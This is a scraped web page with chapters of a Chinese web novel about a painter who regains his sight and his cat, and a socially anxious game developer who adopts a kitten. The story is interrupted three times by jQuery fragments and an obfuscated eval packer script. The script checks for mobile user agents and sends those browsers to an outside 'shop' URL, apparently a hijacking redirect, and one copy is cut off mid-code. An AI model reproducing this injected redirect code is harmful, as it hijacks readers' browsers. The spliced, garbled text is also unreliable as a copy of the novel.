$(''#content'').append('' 。 季川接了不爽:“我怎么感觉这是我人生中第一次接到你的视频电话?” 顾寻声:“花花呢?” 季川还想问问情况,一只猫爪子已经顶在他腮帮子上,还挺有力气地把他的脸推到了一边,看到手机里那张熟悉的脸,花花急急地:“喵喵喵~” 顾寻声:“是花花呀。”声音温柔。 季川:…… “臭小子,和臭小子他爹。”季川把手机支在茶几上,让花花能够坐着看顾寻声,自己躲到一边去抱着阿呆寻求安慰去了。至于胖达和师傅,现在正趁着花花跳下来,抢着去重新占领通天柱最高层呢。 花花:“喵喵~~” 屏幕里的顾寻声眉目温和下来,风尘仆仆在他脸上染了些疲色,但听到花花比平常要更急切的叫声,他还是如往常一般慢慢地笑着说,“花花看到我了?我已经到了京市了,一会儿就去医院。花花还好吗?要好好吃饭好好睡觉哦。” 看着顾寻声的脸,花花爬了下来,专注盯着,“喵~”地回应了一声。 顾寻声:“以后每天都给花花打视频电话,花花每天都能看见我。” “喵~” “花花~” “喵~” 站在顾寻声身边的季川爸爸:…… 还以为只有他自己儿子对着猫是那副臭德行,原来他一向认为沉稳的寻子,跟这小毛团子也是这么黏黏糊糊的啊。看这宠着疼着的架势,莫非现在的年轻人都是这样,把猫当孩子养?难道他已经彻底落伍,要被这个一日狂奔三千里的社会发展速度给抛弃了? 在京市的求医问诊意外地顺利,一天后,季川就接到他爸的电话。 电话里,他爸的声音激动得都有些颤抖了,“川子,能治,能治。寻子那个失明啊,专家说能看好。人家说能看好的。” 季川差点握不住手机,禁不住哽咽了一声,“真的?爸,那太好了!寻子能重新看见啦?那太好了!那专家怎么说的,多久能好啊?” 季川爸爸哈哈笑,“人专家亲自看的,又做了好多检查,后来说,不是很大的问题,不出一个月,就能复明。” 季川脸上的笑容咧到耳朵根,心脏狂跳了一会儿,才接受了这个天大的好消息,忍不住嘿嘿嘿嘿地对着自己爸爸笑了一会儿,才嘱咐道:“爸,寻子肯定不愿意老麻烦您,他那人您知道的。劳您多上心,多看顾着点儿……” “还用你说!”季川爸爸哼了一声,又说,“我想着假请都请了,干脆多请些日子,守着寻子等他眼睛好了,再跟他一起回去。” 季川嗯嗯点头,“爸,谢谢您,也辛苦您了。您放心,我一定把我妈照顾好了。” 季川爸爸嘿了一声,最后还是笑着应了。 心口的大石放下,父子俩又如往常那般多唠了一会儿。季川爸爸说起正好这次趁着机会,能在京市转转,他一直想好好看看京市呢。季川就说了哪些地方一定要去,给他爸发了好几个攻略。 顾寻声从卫生间出来的时候,就听见季川爸爸笑眯眯地跟季川打电话呢。 季川爸爸看见顾寻声,不忘嘱咐儿子:“把花花照顾好了啊。” 话音刚落,电话里突然传来一声“喵”的叫声。 季川爸爸乐了,顾寻声也不由笑了起来。 8. 第 8 章 季川在网上是有一个自媒体账号的,他平常大多会放一些家里三只猫的视频。三只猫长得实在是有特色,而且性格也有趣,所以有不少人喜欢看,粉丝也有十来万了。他也会更新一些他开的画坊的日常,也不指望能吸引多少客人,纯属是分享生活了。 他的画坊的招牌上就画着他家的三只猫的卡通形象,丑是丑了点儿,但是他亲手画的。 画坊里主营的业务也简单,可以来买画,也可以来学画画。墙上的画大多出自顾寻声之手,而在画坊里教画画的,也是他特意聘请的美术学院的毕业生,这些人都是得到顾寻声认可的同窗或是师兄师姐。 目前不管是卖画,还是卖课,画坊的盈利都很不错。 一切都走上正轨,季川得以脱开手来搞点事情。画坊他的办公室旁边有个十来平的小房间,那本来是专门安排给他临时休息用的。但季川精力无限,偶尔瞌睡来了,办公桌上趴个十来分钟立刻精神抖擞,根本没有使用过这个房间。 季川买好了材料,准备把休息间搞成猫猫房。晚上回去有猫猫陪着,幸福。白天工作没有猫猫陪着,寂寞啊。 他连续整了十来天,也被画坊里的员工和来画坊的顾客们围观了十来天。 连他账号下的网友都说:“季老板好久不更新,估计又在整活了。” 这天季川终于开了直播,拎着三个猫笼子进了这间猫猫房。房门打开,众人得以看清猫猫房的全貌。 员工:“我去!老板,你行啊。” 网友:“这什么神仙铲屎官!” 季川得意:“嘿嘿,不愧是我。” 三只小猫被放进了猫猫房,立刻好奇地探索起来。 季川却又出门去,不一会儿,大家都惊讶地看着一只毛色像是烟熏火燎过的小猫咪踏着稳健的小步子跟在季川身边走了进来。没有猫笼子,更没有牵引绳。 那姿态悠然地像是在巡视自己的领土。 员工:“我靠……我竟然感觉,真老板来了。” 网友:“又有猫!新猫!这只小猫走路的姿势有点东西!” 季川得意:“嘿嘿,不愧是我侄子。” 员工、网友:“你侄子?!” 花花没着急进猫猫房。 季川也不着急,走在后面,跟它说:“墙上挂着的都是你爹画的画。” 它就在画坊里走来走去地看那些画。 员工在桌子后面探头探脑,“老板,它看啥呢?” 季川神神秘秘:“其实,我侄子是鉴画专家,它正在赏画呢,你看那智慧的眼神。你可别现在打扰它。” 员工:“老板,我信了。” 季川:“你看它停下来正看的那幅画,那笔触,那色彩,是不是特别好。” 员工:“您说的是。” 网友:“我艹(某种植物),仔细看看这画还真画的特别好啊。老季,画买吗?地址在哪?速速发来。” 员工:“老板!来生意了!神猫,神猫啊!” 一屋子人投来热切的目光。 花花:…… 它慢慢地绕了一圈,踱进了猫猫房。进了房间之后,它在门后伸脚一踹,门啪地一声当着季川的面合上了,差点撞上想跟着进去的季川的鼻子。 员工:“……” 网友:“……” 哈哈哈哈哈哈哈。 季川气愤,直播镜头晃来晃去:“嘿,这臭小子,看我不揍他。” 身后忽然传来熟悉的声音:“揍谁?” 季川浑身一震,下意识转过身去,等看到来人,目光不由一瞬睁大,“寻子!” 站在他面前的正是顾寻声。 顾寻声一身休闲的装束,眉目清朗,嘴角带笑,那双明亮的瞳孔里倒映着季川的脸。 季川非常明显地感觉到他的视线,禁不住往前走了一步,又迟疑道:“寻子?” 顾寻声眼神软了一下,朝他肯定地点头,“能看见了,看得很清楚。” 季川强自大睁眼睛,勉强眨去那股子汹涌的泪意,走过去一拳捶在顾寻声肩膀上,然后又转拳为掌,轻轻地在他肩头拍了一下。 顾寻声轻声:“谢谢。” 季川摇头,语气轻快,“兄弟之间,说这个干什么。” 说完,他忽然对上了一侧员工炯炯有神的大眼睛,随机就看到员工捂着嘴巴满脸兴奋地喊:“老板,这个帅哥是谁呀?” 季川一看自己的手机,还直播呢,网友正热烈地爆着评论。 “老季,三分钟,我要这个帅哥的全部资料!别逼我跪着求你!” 季川:“……” 这辈子没见过这么多弹幕,要不,还是关了直播吧。 在网友的强烈要求下,直播没关。不仅没关,还悄悄地跟上了往猫猫房去的顾寻声,镜头对准青年的背影,优秀的身体比例引得直播间的人数疯狂上涨。 季川嘴角抽搐的同时,又觉得自己画坊的春天,哦,不,夏天来了。 他怎么早没想到让寻子出卖色相……咳咳咳。 顾寻声不太在意身后的动静,他心情有些无法平静。停在猫猫房的门外,他竟然无法抑制地紧张。 复明之后,他立刻收拾东西从京市回来。到现在,他还没跟花花视频。 花花……推开门,就能看见它。 顾寻声吸了口气,慢慢地推开了门。 正前方,杂色毛团子正端端正正地蹲在地上,目光直直和他对上。它好像在等他。 顾寻声声音哑了哑:“花花。” 他蹲下身,朝花花招手,看着这个比他想象中更加毛茸茸,看着更加灵动的小生命,笑了起来,“花花,我回来了。” 花花往前走了几步,停在他面前。 “喵~” 顾寻声探手,花花的小脑袋在他掌心里顶了一下,蹭着他的手臂往前走了一步,长长的尾巴缠绕上了顾寻声的手腕。它往前走着,走到他两腿间,把小脑袋瓜轻轻撞在他胸口。 “喵~~~” 顾寻声觉得那轻轻的一撞仿佛撞在他心上,那绵绵的叫声仿佛不停地在他脑海里回环萦绕。 季川:麻蛋,小花崽还挺会。 员工:手段了得。 网友:不知该羡慕谁。 顾寻声摸摸猫头:“花花真乖。” 摸摸猫耳朵,“花花真好看,比我想的好看多了。” 摸摸猫下巴,“比我画的也好看,以后我重新给你画。” 摸摸猫背,“花花长得真好。” 摸摸猫尾巴,“真聪明。” 季川:麻蛋,还有点感动了怎么回事,这父子俩。 员工:手段了得。 网友:原来帅哥是话痨型的嘛?!我可以! 晚上季川爸妈和顾寻声都聚到季川家吃了一顿团圆饭。彼此之间早就是一家人,顾寻声起来给大家各敬了一杯酒,没有多喝,也没再多言。 热热闹闹开开心心地吃了一顿饭。季川爸妈还各自拍了合照,发到自己的朋友圈里,配上无数个笑脸和烟花。合照里不仅有着他们和两兄弟,还有四只猫猫。 吃完饭,季川和顾寻声一起送季川爸妈回家。两个人默默地又回到季川家,继续喝了一顿酒。季川对着顾寻声说起自己怒涨二十万的粉丝,强烈要求顾寻声以后要多多出镜。 顾寻声无所谓,又喝了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401742|200423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一会儿,无语地看着季川抱着胖达嚷嚷着:“胖达,你不知道巴巴有多爱你,么么……” 胖达被那酒味熏跑了,季川又抱着师傅,“师傅,你不要离开我……” 师傅也跑了,季川只能抱着对眼儿的阿呆,“阿呆啊,阿呆……” 顾寻声:“……” 他低头,看着身边也是一脸无语的花花,忍不住噗嗤笑起来。 顾寻声把一脸呆样的阿呆解救出来,扶着季川让他睡房间里去。走出来的时候,花花正在门口等着他。 顾寻声把花花抱起来。花花没有瘦,是有在好好吃饭的,但是也没怎么长。他摸着花花的头,抱着花花的头走到阳台上。 这一晚正是农历十六。天气很晴朗,所以月亮显得特别特别地皎洁。 天上月圆,人间团圆。 顾寻声低头在花花的小脑门上亲了一口,那双眼睛里映着月亮的光辉,胜过世间一切繁华盛景,“花花,别害怕。我已经回来了。” 他凑近花花的小脑门,眼睛对着眼睛,“明天咱们就回家。” 第二天上午,顾寻声就带着花花回家里。坐在副驾驶的毛团子,不再是初见时的小毛团子了,长大了不少,有点儿清俊的少年样了。 顾寻声拎着东西下车,花花就走在他身边。 遇到好久没见的赵姨,赵姨一脸惊喜地看着顾寻声:“小顾,你看得见啦?!” 顾寻声笑着点头。赵姨脸上花儿一样地绽开了,原来失明的时候看着就是帅小伙,现在眼睛能看见了,却原来是这样的俊朗的青年,实在是让人心喜。 “好好好——”赵姨夸了半天,才想起旁边的小猫,又笑了,“花花真是越长越好看啦。” 一个月没回来,房间里还是干干净净的。 窗帘拉开着,明媚的阳光从窗户照进屋里,一切都笼罩在一片热气之中。毕竟七月了,屋子里热量蒸腾。 顾寻声开了空调,凉凉的风从空调口吹出来。 整理好带回来的东西,顾寻声在家里环顾了一圈,看着在阳光的垫子上悠闲地晒太阳的小猫目光温柔。听说小猫不怕热,但怕冷,原来是真的。 他在家里转了一圈,看着那些熟悉的事物还待在熟悉的位置。不知为何,失明一次,好像对眼睛能看到的一切又多了莫名的眷恋之情。 那些以前看惯的形状、色彩、排列,都让他分外珍惜。 顾寻声最后走进了画室里。他的手指轻轻触摸着墙上那些画的画框,带着无比地轻柔。他又能拿起画笔,画自己想画的那些景色、那些事物了。 得天眷顾,承天之幸。 更感谢季川、季川的爸爸、妈妈。 不知什么时候,小猫已经走到他脚边,蹭着他的小腿。 也感谢像是一道光一样出现在他灰暗生命里的花花。 “花花,”顾寻声坐在画板前,拿起画笔,快速地调了合适的颜色,对扒着他大腿坐在他身上的花花说,“我给你画画。” 八月,季川的画坊顾客越来越多。 画坊的墙上挂上了许多的新画。不少常来的顾客都发现那些画的右下角除了以前见过的“寻”字落款之外,还印上了一个个小小的猫爪梅花印。 有一幅画被季川珍而重之地挂在了一进门的位置。 画上面,正是傍晚时分。夕阳西下,一人一猫慢慢地走着,他们身后拉出长长的影子。而画面的另一边,一对夫妻和一个高大的青年正笑呵呵地冲一人一猫招手,他们脚边,还有三只追逐蝴蝶玩耍的猫。 画的名字写在画的正下方,很小很小的字,却写得很好看: 《回家》。 【单元一:完】 9. 第 9 章 9月6日,全国中小学生开学第一周。周六的中午,天还热得人难受。 一个穿着黄色连衣裙的小女孩正蹲在小区旁的宠物店门口,被太阳晒得满头汗涔涔的,却还固执地用脸贴在橱窗上,目不转睛地看着里面正玩耍的小猫。 她脸上的汗水和呼出的热气在窗户上留下印子,眼睛亮晶晶地,“小猫好可爱……” 旁边三十多岁的女人自然看出了女儿渴望的眼神,虽然没有拽她走,但还是认真说:“小桔,家里不能养猫,妈妈说过很多次了。” 小桔的双眼一下子黯淡了下去,憋憋嘴小声说:“为什么别人家可以……” 女人沉默了几秒,语气软了下来,“小桔,妈妈不想敷衍你,也不想强硬地要求你。但是,你知道的,妈妈要上班,要管你,还要照看你舅舅。你自己也要每天上学对不对?我们俩都没时间没精力再养一只猫的对不对?等以后……” 小桔撅了噘嘴,她不是不讲道理的孩子。她也知道妈妈每天很辛苦。 她的眼睛根本舍不得离开窗户里蹦蹦跳跳的小猫,双腿也像是焊住了一样根本拔不开步子。 她软软地求着:“妈妈,那再看一会儿吧,再看一会儿好不好?” 女人撑起一把伞遮在两人头顶,伸手用纸巾给她擦了一把头上的汗,从包里掏出杯子递给她,“你想看就看嘛,来,喝点水,别晒中暑了。” 橱窗里的小猫崽儿跑到窗户边,扒着玻璃站了起来,粉粉的爪子按在玻璃上。小桔的手指贴在玻璃上,像是触摸到了小猫崽儿的爪爪垫一样,开心地笑。 “妈妈,你看。”她小声地说,“猫猫喜欢我。” 不远处,一个穿着衬衫、长裤的大男孩站在一棵大树的树干后面,正定定地往这边瞧着。他还戴着口罩、帽子,这一身在这个天气着实是引人注目。 旁边走过一对情侣。 男生咋舌,喝了一口冰可乐,好奇:“咋捂得这么严实,真不嫌热啊。” 女生捧着杯加冰的果茶也喝了一口,看了一眼说:“人家也许是不怕热的体质呗,你看他脖子上都没出汗。” 男生仔细看了看,还真是。这身形一看也就是才二十出头的年轻人,穿这么多,却让人感觉清清爽爽、干干净净的。估计真的是体质特殊,让人不禁心生羡慕了。 情侣说着小话走远了。 那包得严整的大男孩完全没注意他们这边的动静,眼睛直直望着宠物店门口。他没什么其他动作,就这样安静的看着,等待着。 等那小女孩敲着蹲麻了的腿,四处张望着像是在找什么的时候,他才从树后面走出来,朝着宠物店那边走过去。 看见他出现,小桔眼睛一亮,“舅舅,这儿。” 大男孩儿急走了几步,到她面前,轻轻地应了一声,“嗯。” 女人见了他,掏了湿巾给他,问:“林忱,热不热?” 大男孩儿安静地摇头,“姐,不热。” 看着自己的姐姐林意也是一头的汗,他把一直握在手里的矿泉水递过去,“姐。” 林意没接,“你自己喝,我带了杯子呢。” 小桔倒是接了湿巾,撕开来踮起脚:“妈妈,我给你擦擦汗。” 林意顺从地任由她擦,笑着夸:“小桔真体贴。” 等小桔擦完了,她往前走一步,把两个人都笼在自己的伞下。 “走,带你们去吃牛肉面。”林意抬脚带头往前走。 小桔扯扯林忱的衣角,眼神往橱窗里瞟着,声音小小地:“舅舅,小猫好可爱哦……” 林忱侧头看了一眼正在打滚儿翻腾的小猫崽儿,不知道怎么接话,笨拙地摸了摸小桔的头。 晚上,林忱画了一会儿像素画,对着屏幕,他发起呆来。屏幕上是他做了两年的游戏,主角一个人在岛上,孤零零的。 耳边仿佛还回响着小桔稚嫩的声音:“舅舅,小猫好可爱哦……” 还有小桔那个眼神。 还有隔着橱窗的那只无忧无虑玩耍着的小猫崽儿。 林忱大半天的时间一直惦记着。小桔从小到大都很懂事,很少对什么表露出那样的表情和眼神。 他思考了一会儿,打开浏览器,搜索:想买一只猫。 点开第一个网站,网站打开后是个论坛,论坛上置顶的热帖,帖子的名字是:领养代替购买,各种线下领养活动正在进行中…… “领养?购买?” 林忱不大明白,想了想点了进去。 里面是帖主整理的近期发布的流浪猫线下领养活动,进度条下拉,竟然全国各地都有。林忱所在的南市不仅有,还有好几个地方都有活动。大多数都在商场里,看着回帖的人数,热度非常高。 点进南市的楼层链接,自然跳转到另一个帖子。 帖子里有本次领养活动的猫,各个都有好些可爱的照片还有详细的信息。信息里不仅有猫的名字、年龄、身体状况、疫苗驱虫,还有性格特点、食物偏好,以及领养的一些要求等等。 领养活动的主办人和参与者的用心彰显无疑。 林忱不太了解这方面,他仔细研究着帖子里的信息,遇到不太理解的词的时候,他就退出去搜索,直到明白了他才重新往下看。 好像只要去现场,就能看到很多很多小猫。至于领养猫的手续,他也看明白了。 林忱关闭了论坛,深呼了一口气。半晌,他又打开,重新看了一遍南市的领养活动地址。离他最近的位置不过两公里,他打个车很快就能过去。 “最近的活动就在明天。”周日,估计也是方便很多上班族能有空过去。 对于林忱这个独立游戏制作人来说,时间反而是最不受限制的。 “但是……” 林忱想到明天活动现场会挤满了人,会有人跟他搭话,他必须要回应。又或者他真的领养一只小猫的话,要走的那些流程和要办的手续,只觉得心跳都加快了起来。 跟人交往,实在不是他擅长做的事。准确的说,跟人对视和说话,都是他害怕的事情。 林忱用力捏了捏自己的手指,把头磕在桌子上,勉强让自己冷静下来。 “明天……先过去看看吧。” 戴着帽子、口罩,再戴上眼镜,只是低着头看猫的话,应该不会有什么人注意到他的。哦,对了,可以先把自己所有的信息写在纸上。到时候也许,可以不用说话。 林忱的脑海里又浮现出小桔直愣愣地看着小猫崽儿的场景,狂跳的心脏慢慢地恢复了原本的频率。 小桔真的很喜欢猫。 他看到过的,小桔还是个小豆丁的时候,就很喜欢猫了。 因为要出门,林忱取消了夜里敲代码的安排,提醒洗了个澡,躺在了床上酝酿睡意。但心里不停地预演着第二天的行程,一面安慰自己,一面又忍不住恐慌,最后还是直到早上4点多才睡着。 早上9点多,他才被闹钟吵醒。一看手机,他已经无意识地按掉6个闹钟了。赶紧起床洗漱,全副武装地出门,坐到出租车上,才感觉重新又紧张起来。 商场不远,林忱只觉得心头搅得厉害,但还是很快就到了目的地。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401743|200423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 下车他低着头往里走,路上也没什么人看他,让他心情平静了很多。 商场里冷气很足,他循着提前查询的路径往前稍微走了一会儿,就看到了领养活动的现场。活动方用栅栏将主场地围了起来,场地中央是一排一排的猫笼。每个猫笼都是一面玻璃,上下有三层,每一层里有三个格子。空间不小,方便小猫活动和展示。 简单一数,就知道现场至少有几十只猫。 场地里面一面入口一面出口,此刻,场地里面人头攒动。算不上很吵,但人们交谈的声音也不小。 林忱手心里冒出了汗。 他压压帽檐,呼出一口气,低头往里走。 一进场地,他就感觉到人与人挨在一起散发出的那股子热量和压迫感。他不由往后退了退,脸上有一丝惊惶。 所幸场地里大家都专注在自己的事情上,没有人注意这边。 林忱摸摸胸口,自己安抚自己,“没事。” 他跟在一个跟小桔差不多大的女孩子身边往前走,这让他感觉好像是把小桔带到了现场,情绪平复了很多。其实如果跟小桔说的话,小桔肯定很愿意来的。只是他也不确定自己能不能顺利带一只小猫回去,他怕小桔失望。所以,他就决定一个人来。 那女孩子看得专注,就像小桔一样。 林忱也跟着看,一边看,一边往前走。猫笼子前还摆着桌子,人们可以先看猫笼子里的猫,然后对照桌子上的资料找到相应的猫猫信息。 那些结伴而来的人互相之间不断地交流着,那些独自前来的人也不断地向工作人员发出询问,现场还是非常热闹的。 当然也不是没有像林忱这样独自来到,不说话,只是沉默地挨个看着的。这样的人虽然收养意愿不会很强烈,但是增加了人流量,对领养活动本身来说是很好的。 林忱听见有人说:“这只猫好看哎,这大眼睛,亮晶晶的。” 一个工作人员小姐姐笑着说:“它还很乖呢,猫德满分,是我们工作人员在下水道里救起来的,整个救援过程都没伸爪子闹人,可亲人了。” 又有人说:“我觉得这只不错,看着就精神。” 工作人员小姐姐也跟着介绍:“它妈妈长得可好看呢,它有好几个兄弟姐妹都被其它领养人领养走啦,只剩这一只,刚刚还有人想着要领养呢。你看看它后脑勺那块黑色,是不是挺像爱心的。” 小姐姐的声音甜甜的,说话也好听。 林忱忍不住跟着探头看了一眼她说的那只猫。嗯……很不规则的一块黑色。硬说是爱心的话,也有那么一点点像就是了。 有个短发女生笑着拍自己身旁的长发女生,“你看那只,角落那只。它那个蔑视的眼神,跟你一模一样。” 长发女生送过去一套连环掌,盯着自己好闺蜜说的那只猫看了一会儿,忍不住吐出两个字:“确实。” 林忱:…… 林忱在这边儿站得有点久了,离他不远的工作人员小姐姐看他一直看着面前的笼子,似乎有点发呆的样子。 那卷卷发小姐姐走了过来,笑着看他:“你喜欢这只奶牛吗?” 林忱:“?” 他从偷听别人说话地状态中猛然回过神来,对上卷卷发小姐姐的目光,眼神一缩。 说……说话了?跟他说话?! 他下意识想转身就走。 但小姐姐已经转过身,指着笼子里正在一甩一甩小尾巴明显有些不耐烦的小奶牛,轻声说:“黑糖,黑糖,装乖卖萌五分钟,荣华富贵二十年!” 林忱:…… 10. 第 10 章 林忱视线微转,对上了黑白花小奶牛的双眼。 小奶牛刚刚还甩着的尾巴慢慢停了下来,看着林忱,起身慢悠悠走到了玻璃旁边。 那一双小猫眼里,竟然让林忱看出了好奇。 小姐姐又转过身,笑眯眯地看着林忱,“它也是我们这儿猫德满分的小猫哦,不仅很乖,还很聪明呢。它四个月了,驱过虫了,疫苗也齐全。你要不要考虑一下领养?” 面前的大男孩儿瘦削得很,但一双眼睛倒是黑白分明,很是干净。只是眼睛下面有些青黑,看着有些疲倦。他看着猫猫们的目光,很纯粹。 “你家里可以养猫吗?” 林忱回避了小姐姐的眼睛,点点头。他爸妈离世后只留下两套房子,现在他住一套,姐姐带着小桔住一套。所以他想养猫不用征得别人的同意。 “你家封窗了吗?” 林忱又点点头。家里封窗还是因为小桔要出生,爸妈怕外孙女回来玩的时候危险,所以拉的金刚网。 工作人员小姐姐笑容又甜了一分,“那您的条件非常适合领养我们的猫猫哦。您决定好要领养了吗?还是想再看一看?我们有各式各样的猫猫的,您要不先跟我说说喜欢什么样的?” 对他的称呼从“你”变成“您”了。 林忱悄悄抬头看她一眼,正对上小姐姐那如花一般的笑容,不知道为什么总觉得有点儿怪怪的。 “嗯……”林忱应了一声,视线在小奶牛上又扫了一圈。 虽然他不太懂看猫,但在他看来,小奶牛长得很标志。 耳朵挺直向上,两个小三角像是两个发射器,耳朵尖的毛长长的。脸是扁圆形状,耳朵到眼睛初的猫都是黑色的,从耳朵处向两侧对称向外延伸到脖颈,脖颈延伸下胸腹的猫都是白色的。 前爪是白色的,像是戴了一双白色小手套。后腿则是更长的白色块,看着像是穿了两双白袜子。整只猫像是出生的时候被精准计量后再上色的,白色在它小小的身体上分布得相当均匀、对称。 这让林忱有些莫名地心动了。至少,他猛一扫过去,觉得好像满场的猫长得都没有这只猫这么有美感,一种无可挑剔的标准。 他禁不住多看了几眼,又看了几眼。 小奶牛似乎看出他对它很在意,抬头挺胸,迈着小步子就在玻璃边上走来走去,步态优雅轻快。时不时拉伸着身体,展示优美的曲线。 墨黑的瞳孔外透着一抹幽静的深蓝,像是浮动着宇宙中那些神秘瑰丽的星云一般。它圆圆眼儿时不时转来转去,灵动得很。 林忱心想:怎么觉得这猫在主动推销自己呢,还挺活泼的。 小姐姐明显注意到小奶牛做作的状态,也注意到林忱看了半天了,她忍不住露出整齐的牙齿,“你看,我们黑糖也很喜欢您呢。” “只要现场跟我们签订领养协议,我们免费送一个月的猫粮、猫砂的。我们还会送您一份养猫指南,所以您不用过多担心。” 虽然对着这个工作人员小姐姐不需要说话,对方一个人就唠得挺开心,但林忱实在不擅长应付这种过于灿烂的笑容,头皮有点发紧。脚下不由自主地挪动,想要离开了。 这时候,小奶牛突然朝着他娇声“喵喵喵”地叫了起来,还就地一躺,对他露出毛茸茸的白肚皮。 林忱停下步子。 看了一眼,又想转身走。 小奶牛立刻一骨碌爬起来,又朝着他“喵喵喵”地叫起来。这次的声音明显更大了一些。 林忱:…… 林忱试探性地抬脚,小奶牛愤怒地喵喵喵。 林忱收脚,小奶牛安静地看着他。 林忱又抬脚,小奶牛又一次“喵!”“喵!”“喵!”这次的叫声多少显得有些凄厉了。小小身量竟有此等大嗓门子,周围人都略带惊恐地看了过来。 热闹的现场一时间为之一静。 工作人员小姐姐:“哈哈……哈……” 林忱帽子下的双眼微微睁大:……这不会就是碰瓷吧。 勉强把差点绷了的笑容捡回来,工作人员小姐姐安抚了小奶牛一句,把桌上被塑封着的A4纸往前推了一下,“黑糖是只聪明的小奶牛,以前从来没有过这种反应的。他不让您走,肯定是真的想跟您回家。您看看它的资料,再考虑一下?” 林忱又看了一眼小奶牛,它的黑色尾巴又像风车一样甩了起来,看起来有些不耐烦。 低头看着纸上的资料—— 品种:中华田园猫(奶牛) 年龄:四个月 性格:机灵、亲人,喜欢小朋友 其它内容还有不少,比如是被救助的,驱过虫、打完了三联,喜欢吃小鱼干儿,偏好鸡肉味和鱼肉味的猫粮之类的,满满当当写了一张纸。 林忱快速扫完,眼神又不由回到“喜欢小朋友”上。 感受工作人员小姐姐目光紧紧落在他身上,等着他的反应,他握了握手,额头上渗出汗水来。 这种三十来度的高温他穿着长袖长衣走在马路上不会出汗,竟然在工作人员的视线里汗湿了额角。 林忱垂着头,避开了这种带着热度的注视。 工作人员小姐姐心下有些叹息,回头去看笼子里的小奶牛。她没说谎,黑糖来救助中心两个多月了,还没见它对哪个来看它的领养人这么热切呢。只是对着领养人嘶嚎什么的也太吓人了,肯定要把人吓走了。 小奶牛看着林忱,慢慢地不甩尾巴了,身体一转,朝笼子里侧转了过去,屁股对着外面。两只耳朵也垂了下去。 “它叫……黑糖吗?” 林忱的声音低低地响起来。 小奶牛的耳朵突地重新立了起来,像是又和喵星接上了信号一样,立得笔直。 “啊?啊!”工作人员小姐姐几乎听不清他在说什么,过了几秒分辨出来,突地又笑起来,“是呀,它叫黑糖。” “要跟我到这边来签领养协议吗?” 林忱重新对上了那双墨黑又染着一丝蓝的猫圆眼儿,点了点头,“嗯。” 后来的画面林忱不敢再多回忆。他以为在人群里看猫已经是折磨,他以为跟工作人员对话已经是挑战,后来他才发现在众目睽睽之下签领养协议才是煎熬。 尽管那些看向他和他身边猫包的目光是善意的、热切的,也是充满羡慕和祝福的。 林忱用最快的速度完成了手续,留下了自己的联系方式,逃离了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401744|200423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现场。 回家的路上,他坐在出租车的后座。低着头,藏着脸,镇定的外表下,藏着一颗尖叫的内心,无数的陨石崩裂在他这片龟裂干涸的土地上,炸得烟尘四起,灰头土脸。 只有他捏着猫包袋子那用力到泛白的手指,才泄露出他的心情。 进了自己家的门,快速把大门关上。林忱恍惚了一会儿,才逐渐平静下来。 结束了……接下来的一个月,他都绝对不要出门。 林忱洗了把脸,坐回到客厅的沙发上。 猫包就放在沙发上,从黑色的网格布里,能看到小奶牛猫好奇地贴着网格布朝外张望,白色的猫胡子穿过网格布,支棱在外面。 看见林忱出现,小奶牛歪歪小脑袋,冲他轻轻叫了一下,“喵~” 看着不怕生。 林忱揉了揉腮帮子,让僵硬了半天的脸放松。伸手拉开猫包的拉链,放小奶牛出来。 猫包上方突然冒出一个可爱的猫猫脑袋瓜,好奇地左右看了看,然后没有迟疑,轻快地跃了出来。 还真的带了一只猫回来。 林忱觉得像一场梦一样,几个小时之前,房间里还只有他自己。而现在,已经有了一个黑白猫的小东西在到处嗅来嗅去,蹭来蹭去,时不时把路过的东西碰得发出响动,特别像是他制作的游戏里那个到处探险扛着斧头到处砍树挖洞的主角。 自己还……挺厉害的。 林忱有些不知所措,他只能坐在原地呆呆地看着小猫在不大的房子里到处巡视,幻视一个接了巡山任务的小小精怪。它耳朵尖儿的毛长长的,工作人员说是聪明毛。 确实还怪聪明的,一到家里就知道熟悉房子大小,规划遛弯路径,跟家里那个扫地机器人看着一个样儿。 不得不说,林忱虽然非常害怕和人社交,特别恐惧成为人群中的焦点。但他也着实是个内心活动相当丰富的社恐人士。 观察了一会儿,林忱觉得,黑糖不是只麻烦的小猫。就算他一句话不说,也不做什么,黑糖这只小奶牛自己也已经在习惯这个房子,全都溜达过一遍之后,它已经跳到客厅的冰箱上面趴了下来,小尾巴悠闲地垂下来,慢慢荡着。 黑糖像是在审视这个家里的一切。 林忱困倦地打了个哈欠,对于他这么个每天固定12点才起床的熬夜党来说,早上9点多起床,出门又耗费了那么大的心力,此刻放松下来,真的已经困得可以直接原地见周公了。 他迷迷糊糊地站了起来,准备回屋的时候,看见透过窗帘缝照进来的那道灼眼的光线。抬头看见正瞅着他的小猫那一身毛,想了想,拿着茶几上的遥控器给它开了个空调。 